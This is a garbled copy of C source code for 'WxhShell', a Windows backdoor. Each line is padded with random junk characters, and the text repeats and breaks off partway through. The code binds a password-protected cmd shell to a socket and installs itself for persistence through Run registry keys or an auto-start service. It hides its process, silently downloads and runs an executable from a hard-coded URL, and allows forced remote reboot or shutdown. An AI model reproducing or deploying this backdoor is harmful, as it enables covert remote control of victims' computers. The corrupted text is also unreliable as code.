    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 58t_j54  
    if(Boot(SHUTDOWN)) ,`8:@<e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E#E&z(G2  
    else { ^U6VJ(58P  
    closesocket(wsh); Y%!k'\n[2  
    ExitThread(0); J'%W_?wZ  
    } %KPQ|^WE  
    break; F@KtRUxE  
    } Gs>4/  
  // 获取shell !<<wI'8  
  case 's': { C{G;G@/7  
    CmdShell(wsh); Byh!Snoe  
    closesocket(wsh); OWp`Wat  
    ExitThread(0); E&ReQgBft  
    break; -nZDFC8y$  
  } `k7X|  
  // 退出 SAU` u]E  
  case 'x': { `[&%fTW+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZkBWVZb  
    CloseIt(wsh); I%jlM0ZUI"  
    break; ub2B!6f a  
    } JkEITuTth  
  // 离开 sD9OV6^{?K  
  case 'q': { g^{a;=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )m I i.  
    closesocket(wsh); fRwr}n'  
    WSACleanup(); XaaR>HljJ  
    exit(1); Rw<O%i5/d  
    break; .7+"KP:  
        } '(zP;  
  } 09=w  
  } JF'<""  
PB)vE  
  // 提示信息 E_0i9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~i]4~bkH2  
} s w50lId  
  } YlXqj\a  
`[h&Q0Du6  
  return; {Q)sR*d  
} W!|l_/L'   
xxG>Leml  
// shell模块句柄 "g/UpnH  
int CmdShell(SOCKET sock) K."W/A!  
{ |9[)-C~N7  
STARTUPINFO si; 4j(*%da  
ZeroMemory(&si,sizeof(si)); +1a2Un  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5'[yw:P-8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )1g\v8XT  
PROCESS_INFORMATION ProcessInfo; ~lbm^S}-  
char cmdline[]="cmd"; R ^"*ut  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @cQ |`  
  return 0; BnG{) \s  
} d>0 j!+s  
HP=5 a.  
// 自身启动模式 YXg^t$  
int StartFromService(void) !{!(yP_  
{ U^Iq]L  
typedef struct IH"_6s#$&  
{ uM[[skc  
  DWORD ExitStatus; mj ,Oy  
  DWORD PebBaseAddress; zpy&\#Vc  
  DWORD AffinityMask; }vZTiuzC  
  DWORD BasePriority; ^[EXTBk@:  
  ULONG UniqueProcessId; u}7r\MnwK,  
  ULONG InheritedFromUniqueProcessId; .PCbGPbk  
}   PROCESS_BASIC_INFORMATION; miV8jaV  
g@m__   
PROCNTQSIP NtQueryInformationProcess; ")u)AQ  
u&'&E   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p3B_NsXVZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Uo JMOw[  
PI)uBA;  
  HANDLE             hProcess; BPu>_$C  
  PROCESS_BASIC_INFORMATION pbi; Hiih$O+  
$gdGII&n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5N907XVu  
  if(NULL == hInst ) return 0; %1M!4**W  
b{,vZhP-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nIl<2H]F`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m@yx6[E#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {sUc2vR  
Bm;@}Ly=G  
  if (!NtQueryInformationProcess) return 0; ):V)Hrq?x  
P9]95.j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N8Un42  
  if(!hProcess) return 0; `nL^]i  
}b>e lz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V_9> Z?  
RohD.`D  
  CloseHandle(hProcess); wEEFpn_   
>+S* Wtm5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % %QAC4  
if(hProcess==NULL) return 0; 2'WdH1UrBc  
)J&!>GP  
HMODULE hMod; {#l@9r%  
char procName[255]; ?Q6ZZQ~  
unsigned long cbNeeded; }9?fb[]  
ScC!?rTW~7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {\kDu#18Ld  
xKoNo^FF  
  CloseHandle(hProcess); {6*{P!H  
u"zQh|  
if(strstr(procName,"services")) return 1; // 以服务启动 BtP*R,>  
cWa> rUsF  
  return 0; // 注册表启动 gC/-7/}  
} fG /wU$B  
eS"sd^;R  
// 主模块 (d-j/v*4  
int StartWxhshell(LPSTR lpCmdLine) `=#ry*E^:  
{ |9 4xRC  
  SOCKET wsl; nmrdqSV  
BOOL val=TRUE; @3>nVa  
  int port=0; !7anJl  
  struct sockaddr_in door; MM Nz2DEy[  
}u~r.=  
  if(wscfg.ws_autoins) Install(); y{\(|j  
}{e7wqS$&,  
port=atoi(lpCmdLine); G$ Ii  
 \4&FW|mx  
if(port<=0) port=wscfg.ws_port; Gp))1b';  
?[q.1O  
  WSADATA data; &?7+8n&+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :=%`\\  
XcQ'(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !O#NP!   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9rQpKq:# E  
  door.sin_family = AF_INET; U_e e3KKA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); kx3]A"]>'  
  door.sin_port = htons(port); f%Bmx{Ttq  
Hy1f,D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ACxjY2  
closesocket(wsl); \6v*c;ZF  
return 1; E- rXYNfy  
} (`Q_^Bfyl  
`!g XA.9Uv  
  if(listen(wsl,2) == INVALID_SOCKET) { qbdv  
closesocket(wsl); UkBr4{+aE  
return 1; ;hp?wb  
} ppM^&6x^  
  Wxhshell(wsl); '^.}5be&  
  WSACleanup(); \) T4NN  
&:*|KxX  
return 0; ?\Z-3l%M  
y-CVyl  
} 4U1"F 7'  
{piZm12q?  
// 以NT服务方式启动 kzb1iBe 6m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iG;GAw|E  
{ Xa32p_|5~  
DWORD   status = 0; z|>f*Z  
  DWORD   specificError = 0xfffffff; KwuNHK)-  
ni x1_Wo;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &tE#1<k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OQh(qa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zos#B30  
  serviceStatus.dwWin32ExitCode     = 0; @VcSK`  
  serviceStatus.dwServiceSpecificExitCode = 0; T5di#%: s  
  serviceStatus.dwCheckPoint       = 0; =24<d!R  
  serviceStatus.dwWaitHint       = 0; yasKU6^R'  
1(z+*`"WB&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ocT.2/~d  
  if (hServiceStatusHandle==0) return; l~Sn`%PgA  
sGD b<  
status = GetLastError(); Qf]ACN  
  if (status!=NO_ERROR) SpUcrK;1  
{ M0zlB{eH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /0H39]y!~  
    serviceStatus.dwCheckPoint       = 0; ROHr%'owgL  
    serviceStatus.dwWaitHint       = 0; B]YY[i  
    serviceStatus.dwWin32ExitCode     = status; $?u ^hMU=  
    serviceStatus.dwServiceSpecificExitCode = specificError; i bwnK?ZA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ka\%kB>*`  
    return; SggS8$a`  
  } URD<KIN>  
3QrYH @7zx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ng3MfbFG  
  serviceStatus.dwCheckPoint       = 0; L?n*b  
  serviceStatus.dwWaitHint       = 0; U8(Rye$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L_YVe(dT  
} &~7b-foCq  
8y{<M"v+/  
// 处理NT服务事件,比如:启动、停止 *tda_B 2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w(9.{zF|vQ  
{ 8vcV-+x  
switch(fdwControl) /IC7q?avQN  
{ bG0t7~!{E  
case SERVICE_CONTROL_STOP: \Podyh/;?  
  serviceStatus.dwWin32ExitCode = 0; Osdw\NNH~M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; j[h4F"`-  
  serviceStatus.dwCheckPoint   = 0; l*]*.?m/5  
  serviceStatus.dwWaitHint     = 0; B&`hvR  
  { RYaf{i`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !RnO{FL  
  } !ldb_*)h  
  return; gHC -Y 0_  
case SERVICE_CONTROL_PAUSE: mlY0G w_e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z2&SZ.mk  
  break; h&Ehp   
case SERVICE_CONTROL_CONTINUE: EIwTx:{F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x aWmwsym  
  break; (@dh"=Lt\  
case SERVICE_CONTROL_INTERROGATE: ~:f9,  
  break; @U%I 6 t  
}; EW{z?/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u|7d_3 ::  
} 9LGJ-gL  
o)7gKWjujP  
// 标准应用程序主函数 vS:%(Y"!<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $Tt@Xu  
{ s&p*.I]@>  
a2*WZc`  
// 获取操作系统版本 d(w $! $"h  
OsIsNt=GetOsVer(); A?3hNvfx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X|H%jdta  
9/RbfV[)  
  // 从命令行安装 3mgFouX2x,  
  if(strpbrk(lpCmdLine,"iI")) Install(); Uq&ne 1  
qu8i Jq  
  // 下载执行文件 ]?xF'3#  
if(wscfg.ws_downexe) { jN V2o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G.O0*E2V  
  WinExec(wscfg.ws_filenam,SW_HIDE); Wy,DA^\ef  
} ,*r"cmz  
cU5x8[2  
if(!OsIsNt) { >/EmC3?b!  
// 如果时win9x,隐藏进程并且设置为注册表启动 (^Xp\dyZL  
HideProc(); t(CdoE,6  
StartWxhshell(lpCmdLine); 7[QU *1bk  
} A L}c-#GG  
else nbw&+dcJ8  
  if(StartFromService()) (hd^  
  // 以服务方式启动 Fm{Ri=X<:  
  StartServiceCtrlDispatcher(DispatchTable); f!*b8ND^R  
else ";9cYoKRY  
  // 普通方式启动 g||{Qmr=1  
  StartWxhshell(lpCmdLine); Xcicqywe?  
t qbS!r  
return 0; tz&=v,_jc  
} m1VyYG  
n<kcK  
{LY$  
abWmPi  
=========================================== O:RPH{D  
Q<d\K(<3?:  
WO)rJr!C  
8N!E`{W  
ss%ahs  
S3:Pjz}t  
" -Uq I=#  
[sTr#9Z  
#include <stdio.h> P 5m{}@g  
#include <string.h> K-)_1  
#include <windows.h> Q4TI '/  
#include <winsock2.h> 9cWl/7;zXO  
#include <winsvc.h> 22`W*e@6h  
#include <urlmon.h> NM/?jF@j*  
kW4/0PD  
#pragma comment (lib, "Ws2_32.lib") gf2l19aP  
#pragma comment (lib, "urlmon.lib") &'N{v@Oi)  
5 r"`c  
#define MAX_USER   100 // 最大客户端连接数 782be-n  
#define BUF_SOCK   200 // sock buffer Va\dMv-b  
#define KEY_BUFF   255 // 输入 buffer F5gL-\6  
?zQ\u{]=  
#define REBOOT     0   // 重启 @~U: |h  
#define SHUTDOWN   1   // 关机 {tV)+T  
d47b&.v8e  
#define DEF_PORT   5000 // 监听端口 \ZigG{  
BP,"vq$'+  
#define REG_LEN     16   // 注册表键长度 X~sl5?  
#define SVC_LEN     80   // NT服务名长度 y!6B Gz  
"8&pT^  
// 从dll定义API m(s(2wq"f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q$Ga.fI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `g<@F^x5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '~VKH}b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f/~"_O%  
Y _m4:9p  
// wxhshell配置信息 :`2<SF^0O  
struct WSCFG { <h4"^9hL  
  int ws_port;         // 监听端口 :@rE&  
  char ws_passstr[REG_LEN]; // 口令 \-0@9E<D  
  int ws_autoins;       // 安装标记, 1=yes 0=no Al09R,I;  
  char ws_regname[REG_LEN]; // 注册表键名 T(MS,AyD]  
  char ws_svcname[REG_LEN]; // 服务名 UZi^ &  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,3.E]_3 xX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^I~2t|}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WM.JoQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no V8ZE(0&II}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (8TB*BhQ_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >N@tInE  
\{t#V ~  
}; <|c n Qj*  
rIH/<@+  
// default Wxhshell configuration ^ llZf$`  
struct WSCFG wscfg={DEF_PORT, l~;H~h!h/  
    "xuhuanlingzhe", L{jJDd  
    1, V%8?f,  
    "Wxhshell", !Y>lAxd  
    "Wxhshell", % obR2%  
            "WxhShell Service", QG*=N {% 5  
    "Wrsky Windows CmdShell Service", N:GSfM@g  
    "Please Input Your Password: ", btHN  
  1, z6ISJb  
  "http://www.wrsky.com/wxhshell.exe", ,;)Y 1q}Q  
  "Wxhshell.exe" I|9(*tq)  
    }; %@#+Xpa+  
-$**/~0zU  
// 消息定义模块 @X4Ur+d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a yn6k=F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \ T/i]z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 26PUO$&b.  
char *msg_ws_ext="\n\rExit."; X1&Ug ^  
char *msg_ws_end="\n\rQuit."; <nlZ?~%}  
char *msg_ws_boot="\n\rReboot..."; _BO:~x  
char *msg_ws_poff="\n\rShutdown..."; LSQWveZz  
char *msg_ws_down="\n\rSave to "; v#0F1a?]D  
8^\}\@  
char *msg_ws_err="\n\rErr!"; {STOWuY  
char *msg_ws_ok="\n\rOK!"; h[ #Lg3  
%KHO}gad1  
char ExeFile[MAX_PATH]; 5Ds/^fA  
int nUser = 0; Jz7a|pgep  
HANDLE handles[MAX_USER]; hr_ 5D  
int OsIsNt; Oo |*q+{  
w F6ywr  
SERVICE_STATUS       serviceStatus; T6m#sVq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ma9q?H#X  
#N^TqOr  
// 函数声明 !l|v O(  
int Install(void); >}Qj|05G  
int Uninstall(void); T Po%zZo  
int DownloadFile(char *sURL, SOCKET wsh); <~;;iM6  
int Boot(int flag); oNQ;9&Z,^2  
void HideProc(void); .Uq?SmK  
int GetOsVer(void); (;v)0&h  
int Wxhshell(SOCKET wsl); @ODwO;_R5  
void TalkWithClient(void *cs); U/F<r3.`#  
int CmdShell(SOCKET sock); CT,caa  
int StartFromService(void); mAMi-9  
int StartWxhshell(LPSTR lpCmdLine); 9<u^.w  
Py7!_TX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g?N~mca$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pYZ6-s  
(uW/t1  
// 数据结构和表定义 F}3<q   
SERVICE_TABLE_ENTRY DispatchTable[] = u$ [R>l9  
{ &7Frg`B&:  
{wscfg.ws_svcname, NTServiceMain}, AzAD76iNv  
{NULL, NULL} \$:KfN>WY  
}; Fx,08  
~f=~tN)hZ  
// 自我安装 jJFWPD ] u  
int Install(void) <i{O\K]9  
{ N<lejZ}!q  
  char svExeFile[MAX_PATH]; w1HE^ /  
  HKEY key; rt">xVl  
  strcpy(svExeFile,ExeFile); 7pMl:\  
3 i<,#FaL  
// 如果是win9x系统,修改注册表设为自启动 ?xEQ'(UBQ  
if(!OsIsNt) { /~3~Xc ~=p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (Mi]vK.4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y.` {]rC  
  RegCloseKey(key); Y<|!)JLB2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S\fEV"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3sG7G:4  
  RegCloseKey(key);  aEUC  
  return 0; Fe 3*pUt  
    } T=r-6eN  
  } Ci%u =%(  
} 0#(K}9T)  
else { P^m+SAAB  
$YZsaw  
// 如果是NT以上系统,安装为系统服务 Ow7NOhw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RC 7|@a  
if (schSCManager!=0) *Q2;bmIc  
{ C!Cg.^;  
  SC_HANDLE schService = CreateService 9~+A<X]Hd  
  ( 7sP;+G  
  schSCManager, \#4??@+Xf  
  wscfg.ws_svcname, z_%G{H+:l  
  wscfg.ws_svcdisp, we'<Y  
  SERVICE_ALL_ACCESS, D|-^}I4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x._IP,vRx^  
  SERVICE_AUTO_START, sYV7t*l  
  SERVICE_ERROR_NORMAL, []HMUL]"  
  svExeFile, 5.gM]si  
  NULL, (<sZ8n=AD  
  NULL, l;i,V;@ t  
  NULL, !0ly1T 9  
  NULL, Y.I-h l1<r  
  NULL zJ{?'kp  
  ); 6o@}k9AN  
  if (schService!=0) !NWz  
  { .G[y^w)w}  
  CloseServiceHandle(schService); o(xRq;i  
  CloseServiceHandle(schSCManager); #_yQv?J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r fqw/o  
  strcat(svExeFile,wscfg.ws_svcname); xdWfrm$;ZA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Wkli:Lq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2 qRX A  
  RegCloseKey(key); Y" 9 o  
  return 0; rkhQoYZ[  
    } dz/' m7  
  } @|Z:7n6S  
  CloseServiceHandle(schSCManager); :xw2\:5~0  
} O v3W;jD  
} 9k\`3SE  
=! v.VF\;  
return 1; ;t47cUm6j  
} jvx9b([<sG  
J6x\_]1:*  
// 自我卸载 216+ tX5Z  
int Uninstall(void) M=[/v/M=  
{ 2m. RM&TdB  
  HKEY key; H <CsB  
i^P@?  
if(!OsIsNt) { Z J(/cD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z=%+U _,  
  RegDeleteValue(key,wscfg.ws_regname); ?fv?6r  
  RegCloseKey(key); qGMM3a)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ';` fMcN  
  RegDeleteValue(key,wscfg.ws_regname); Ke-Q>sm2Q  
  RegCloseKey(key); M0!;{1  
  return 0; +3.Ik,Z}zq  
  } N[ 4v6GS  
} }HS:3Dt  
} ?]gZg[  
else { @C)O[&Sk  
lhg3 }dW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Li ,B,   
if (schSCManager!=0) E_&Hje|J_[  
{ ".L+gn}u-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9fD4xkRS  
  if (schService!=0) )/k0*:OMyO  
  { 0z?b5D;  
  if(DeleteService(schService)!=0) { ^}; 4r  
  CloseServiceHandle(schService); 0?uX}8w  
  CloseServiceHandle(schSCManager); k5G(7Ug=g~  
  return 0; .d`+#1Ot(  
  } T=cSTS!P;q  
  CloseServiceHandle(schService); Rf@D]+v  
  } ;SQ<^"eK  
  CloseServiceHandle(schSCManager); Wd4fIegk  
} L/(e/Jalg  
} (^GVy=  
Myss$gt}  
return 1; khT&[!J{>  
} ,CW]d#P|  
o D;  
// 从指定url下载文件 `;fh<kv  
int DownloadFile(char *sURL, SOCKET wsh) /2^cty.BXw  
{ J*6I@_{/ U  
  HRESULT hr; E%ea o$  
char seps[]= "/"; 3ojK2F(1D  
char *token; .fcU&t  
char *file; |Y3!Lix  
char myURL[MAX_PATH]; hZnT`!iFE^  
char myFILE[MAX_PATH]; -Nmf}`_  
KsYT3  
strcpy(myURL,sURL); A/N*Nc  
  token=strtok(myURL,seps); zO{$kT\r&  
  while(token!=NULL) )6)|PzMQ'  
  { j)\&#g0u6  
    file=token; 7'FDI`e[  
  token=strtok(NULL,seps); X:-X3mV9{  
  } 43rM?_72  
Ku LZg  
GetCurrentDirectory(MAX_PATH,myFILE); #1Mk9sxo  
strcat(myFILE, "\\"); Ff>Y<7CQ v  
strcat(myFILE, file); pH#&B_S6z=  
  send(wsh,myFILE,strlen(myFILE),0); b qB[ vPsI  
send(wsh,"...",3,0); R7*Jb-;$!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wq)'0U;{$  
  if(hr==S_OK) A{h hnrr8  
return 0; , >Y. !  
else _yjM_ALjo  
return 1; L*tXy>&b.  
kN9S;o@)  
} FcIH<_r  
$}oQ=+c5  
// 系统电源模块 e<5+&Cj  
int Boot(int flag) oT 8  
{ ,r5<v_  
  HANDLE hToken; r0G#BPgdR  
  TOKEN_PRIVILEGES tkp; d_J?i]AP|'  
iMx+y5O  
  if(OsIsNt) { Y=X"YH|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MSeO#X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wI>JOV7  
    tkp.PrivilegeCount = 1; L:YsAv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1 hZM))  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OfTcF_%  
if(flag==REBOOT) { xmKa8']x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j-gLX  
  return 0; ;TSnIC)c  
} CkoPno  
else { 6uDA{[OH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f<SSg* A;  
  return 0; x+B~t4A  
} dQM# -t4*  
  } js`zQx'  
  else { JmNeqpbB`w  
if(flag==REBOOT) { @usQ*k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +azPpGZ=  
  return 0; PB>p"[ap4  
} W/oRt<:E  
else { N(vbo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OpxVy _5,  
  return 0; yD1*^~loJ  
} 2DQ'h}BI  
} yE9JMi 0  
?^BsR  
return 1; 1@)]+* F*z  
} gbpm::  
k6JB%m\E  
// win9x进程隐藏模块 8e\a_R*(|  
void HideProc(void) k`g+    
{ w2]1ftY  
`RGZ-Q{_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ';aPoaO %  
  if ( hKernel != NULL ) x(}tr27o  
  { I.x0$ac7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ $r^Ur!E\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W<!q>8Xn?  
    FreeLibrary(hKernel); BCUw"R#  
  } RB/[(4  
 (i*1M  
return; ?[!.TU?4N  
} bG^eP :r  
Jr17pu(t  
// 获取操作系统版本 4n3QW%#  
int GetOsVer(void) 2IjqT L  
{ hN\E8"To  
  OSVERSIONINFO winfo; w41#? VC/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hph 3kfR  
  GetVersionEx(&winfo); Jq6p5jr"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W[^XG\  
  return 1; ac+7D:X  
  else +Yi=W o/  
  return 0; oeIB1DaI  
} XQj`KUO@  
5\|[)~b  
// 客户端句柄模块 DP; B*s4{U  
int Wxhshell(SOCKET wsl) \!cqeg*53  
{ hNx`=D9[7  
  SOCKET wsh; }GkEv}~t  
  struct sockaddr_in client; &}T`[ d_Z  
  DWORD myID; u85y;AE,(  
=Rb,`%  
  while(nUser<MAX_USER) \XRViG,|5  
{ Y}1|/6eJ  
  int nSize=sizeof(client); ;/oMH/,U8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4D58cR}  
  if(wsh==INVALID_SOCKET) return 1; ZlO@PlZ)  
EiJSLL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2Y wV}  
if(handles[nUser]==0) TqQ>\h"&_  
  closesocket(wsh); Z]SCIU @+  
else ^S<Z'S  
  nUser++; +!_^MBkk  
  } (5yg\3Jvp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4uNcp0  
R4IFl z  
  return 0; GuDus2#+  
} 1]hMA\x  
MH !CzV&  
// 关闭 socket u|QfCwQ  
void CloseIt(SOCKET wsh) M/1Q/;0P  
{ ahV_4;yF  
closesocket(wsh); ^1Yx'ua'  
nUser--; JWn9&WK  
ExitThread(0); #Jm_~k  
} k*-+@U"+  
|fw+{f  
// 客户端请求句柄 {Or|] 0  
void TalkWithClient(void *cs) ,/d-o;W  
{ KO5Q;H  
" g_\W  
  SOCKET wsh=(SOCKET)cs; aB'<#X$x  
  char pwd[SVC_LEN]; sL\|y38'  
  char cmd[KEY_BUFF]; pnqjAT GU  
char chr[1]; &rNXn?>b  
int i,j; Hy `r}+  
@EZXPU  
  while (nUser < MAX_USER) { g` h>:5]  
MI@ RdXkY  
if(wscfg.ws_passstr) { zM@iG]?kc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2<988F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *50Ykf  
  //ZeroMemory(pwd,KEY_BUFF); Aga7X@fV(  
      i=0; ikxSWO_Y=  
  while(i<SVC_LEN) { ho(Y?'^t3  
_OrE{  
  // 设置超时 Y/$SriC_+'  
  fd_set FdRead; _8S).*  
  struct timeval TimeOut; J@Orrz2q#  
  FD_ZERO(&FdRead); % tJ?dlD'  
  FD_SET(wsh,&FdRead); X`aED\#\h  
  TimeOut.tv_sec=8; .7kVC  
  TimeOut.tv_usec=0; #); 6+v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZDVaKDqZ_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .4^Paxz  
3[e@mcO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1:&$0jU&U  
  pwd=chr[0]; u5,IH2BU  
  if(chr[0]==0xd || chr[0]==0xa) { =Wjm_Rvk9  
  pwd=0; >yWJk9h f  
  break; 9Q.j <  
  } b uhxC5i%  
  i++; ]Ny]Ox<  
    } I 9u=RI s  
Jz|(B_U  
  // 如果是非法用户,关闭 socket xv%}xeE V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RV($G8U  
} k[zf`x^  
?.Kl/8ml  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >eEf|tKO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FCP5EN  
A{c6XQR~z  
while(1) { |j!D _j#U  
4 B> l|%  
  ZeroMemory(cmd,KEY_BUFF); /z'j:~`E  
PAc~p8S  
      // 自动支持客户端 telnet标准   4({=(O  
  j=0; e1IuobT  
  while(j<KEY_BUFF) { /0\pPc*kA{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  (&gCVf  
  cmd[j]=chr[0]; 1U9iNki  
  if(chr[0]==0xa || chr[0]==0xd) { UbYKiLDF)  
  cmd[j]=0; Mr1pRIYMd  
  break; :5Vu.\,1  
  } s e1ipn_A  
  j++; _E "[%  
    }  ?Z!KV=  
sV+>(c-$  
  // 下载文件 *o>E{  
  if(strstr(cmd,"http://")) { B#gmT2L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); es6e-y@e  
  if(DownloadFile(cmd,wsh)) pE`( kD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \UC4ai2MK  
  else 1rKR=To  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .DX#:?@4@Y  
